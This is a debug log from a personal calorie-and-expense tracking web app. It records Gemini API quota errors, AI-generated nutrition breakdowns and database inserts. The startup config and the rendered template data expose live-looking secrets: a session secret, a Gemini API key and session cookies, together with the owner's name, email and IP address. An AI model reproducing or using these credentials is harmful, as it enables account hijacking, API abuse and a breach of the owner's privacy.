\"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"6s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-13T06:33:53.277Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 6.745937553s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"6s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T06:33:53.277Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 6.745937553s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"6s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T06:34:56.044Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-13T06:34:58.047Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-13T06:34:58.916Z server-connect:setup:upload Upload middleware configured.
2025-12-13T06:34:58.917Z server-connect:secure CSRF Protection initialized
2025-12-13T06:34:58.919Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-13T06:34:58.920Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-13T06:34:58.921Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-13T06:34:58.924Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-13T06:34:58.930Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-13T06:34:58.933Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-13T06:34:58.943Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-13T06:34:58.957Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-13T06:34:58.960Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-13T06:34:58.966Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-13T06:34:58.976Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-13T06:34:58.979Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-13T06:34:58.984Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-13T06:34:58.985Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-13T06:34:58.987Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-13T06:34:58.993Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-13T06:34:58.999Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-13T06:34:59.001Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-13T06:34:59.007Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-13T06:34:59.013Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-13T06:34:59.015Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-13T06:34:59.021Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-13T06:34:59.023Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-13T06:34:59.026Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-13T06:34:59.029Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-13T06:34:59.029Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-13T06:34:59.038Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-13T06:34:59.040Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-13T06:34:59.042Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-13T06:34:59.863Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T06:34:59.867Z server-connect:app Executing action step identify
2025-12-13T06:34:59.867Z server-connect:app options: { provider: 'security' }
2025-12-13T06:34:59.869Z server-connect:output identity: 1
2025-12-13T06:34:59.869Z server-connect:app Executing action step restrict
2025-12-13T06:34:59.869Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:34:59.872Z server-connect:output restrict: undefined
2025-12-13T06:35:00.461Z server-connect:app Executing action step processWithGemini
2025-12-13T06:35:00.461Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T06:35:10.258Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Roti (Whole Wheat Chapati)',
      quantity: '2 rotis (approx 70g)',
      total_calories: 210,
      protein: 7,
      carbs: 42,
      fat: 2.8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Excellent source of complex carbohydrates and fiber, providing sustained energy for workouts and aiding in muscle recovery, crucial for someone with a desk job and frequent gym sessions aiming for muscle development. It's a staple for a balanced diet."
    }
  ],
  totals: {
    total_calories: 210,
    total_protein: 7,
    total_carbs: 42,
    total_fat: 2.8,
    units: { calories: 'kcal', protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-13T06:35:33.816Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T06:35:33.816Z server-connect:app Executing action step identify
2025-12-13T06:35:33.817Z server-connect:app options: { provider: 'security' }
2025-12-13T06:35:33.817Z server-connect:output identity: 1
2025-12-13T06:35:33.817Z server-connect:app Executing action step restrict
2025-12-13T06:35:33.817Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:35:33.818Z server-connect:output restrict: undefined
2025-12-13T06:35:33.818Z server-connect:app Executing action step processWithGemini
2025-12-13T06:35:33.818Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T06:35:48.768Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Pre-workout',
      quantity: '1 scoop (6.5 gm)',
      total_calories: 10,
      protein: 0,
      carbs: 2,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
    },
    {
      food_name: 'Paneer',
      quantity: '50 gm',
      total_calories: 145,
      protein: 9,
      carbs: 1.8,
      fat: 10.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
    },
    {
      food_name: 'Milk Sugar Tea',
      quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
      total_calories: 102,
      protein: 3.2,
      carbs: 14.7,
      fat: 3.5,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
    }
  ],
  total_macros: { total_calories: 257, protein: 12.2, carbs: 18.5, fat: 14 },
  macro_units: 'grams'
}
2025-12-13T06:35:52.685Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T06:35:52.685Z server-connect:app Executing action step identify
2025-12-13T06:35:52.685Z server-connect:app options: { provider: 'security' }
2025-12-13T06:35:52.685Z server-connect:output identity: 1
2025-12-13T06:35:52.685Z server-connect:app Executing action step restrict
2025-12-13T06:35:52.685Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:35:52.686Z server-connect:output restrict: undefined
2025-12-13T06:35:52.687Z server-connect:app Executing action step condition
2025-12-13T06:35:52.688Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T06:35:52.688Z server-connect:app Executing action step repeat
2025-12-13T06:35:52.688Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T06:35:52.689Z server-connect:app Executing action step insert
2025-12-13T06:35:52.690Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T06:35:52.693Z server-connect:output calories: { affected: 1, identity: 371 }
2025-12-13T06:35:52.693Z server-connect:app Executing action step insert
2025-12-13T06:35:52.693Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T06:35:52.695Z server-connect:output calories: { affected: 1, identity: 372 }
2025-12-13T06:35:52.695Z server-connect:app Executing action step insert
2025-12-13T06:35:52.695Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T06:35:52.696Z server-connect:output calories: { affected: 1, identity: 373 }
2025-12-13T06:35:52.696Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-13T06:35:52.696Z server-connect:output condition: undefined
2025-12-13T06:35:52.935Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T06:35:52.935Z server-connect:app Executing action step identify
2025-12-13T06:35:52.935Z server-connect:app options: { provider: 'security' }
2025-12-13T06:35:52.936Z server-connect:output identity: 1
2025-12-13T06:35:52.936Z server-connect:app Executing action step restrict
2025-12-13T06:35:52.936Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:35:52.936Z server-connect:output restrict: undefined
2025-12-13T06:35:52.936Z server-connect:router Render template layouts/main
2025-12-13T06:35:52.937Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T06:35:53.688Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T06:35:53.689Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T06:35:53.689Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T06:35:53.690Z server-connect:app Executing action step identify
2025-12-13T06:35:53.690Z server-connect:app options: { provider: 'security' }
2025-12-13T06:35:53.690Z server-connect:output identity: 1
2025-12-13T06:35:53.690Z server-connect:app Executing action step restrict
2025-12-13T06:35:53.690Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:35:53.691Z server-connect:app Executing action step identify
2025-12-13T06:35:53.691Z server-connect:app options: { provider: 'security' }
2025-12-13T06:35:53.691Z server-connect:output identity: 1
2025-12-13T06:35:53.691Z server-connect:app Executing action step restrict
2025-12-13T06:35:53.691Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:35:53.692Z server-connect:app Executing action step identify
2025-12-13T06:35:53.692Z server-connect:app options: { provider: 'security' }
2025-12-13T06:35:53.692Z server-connect:output identity: 1
2025-12-13T06:35:53.692Z server-connect:app Executing action step restrict
2025-12-13T06:35:53.692Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:35:53.692Z server-connect:output restrict: undefined
2025-12-13T06:35:53.694Z server-connect:app Executing action step single
2025-12-13T06:35:53.694Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T06:35:53.696Z server-connect:output restrict: undefined
2025-12-13T06:35:53.696Z server-connect:app Executing action step select
2025-12-13T06:35:53.696Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T06:35:53.698Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T06:35:53.699Z server-connect:output restrict: undefined
2025-12-13T06:35:53.699Z server-connect:app Executing action step single
2025-12-13T06:35:53.700Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T06:35:53.708Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
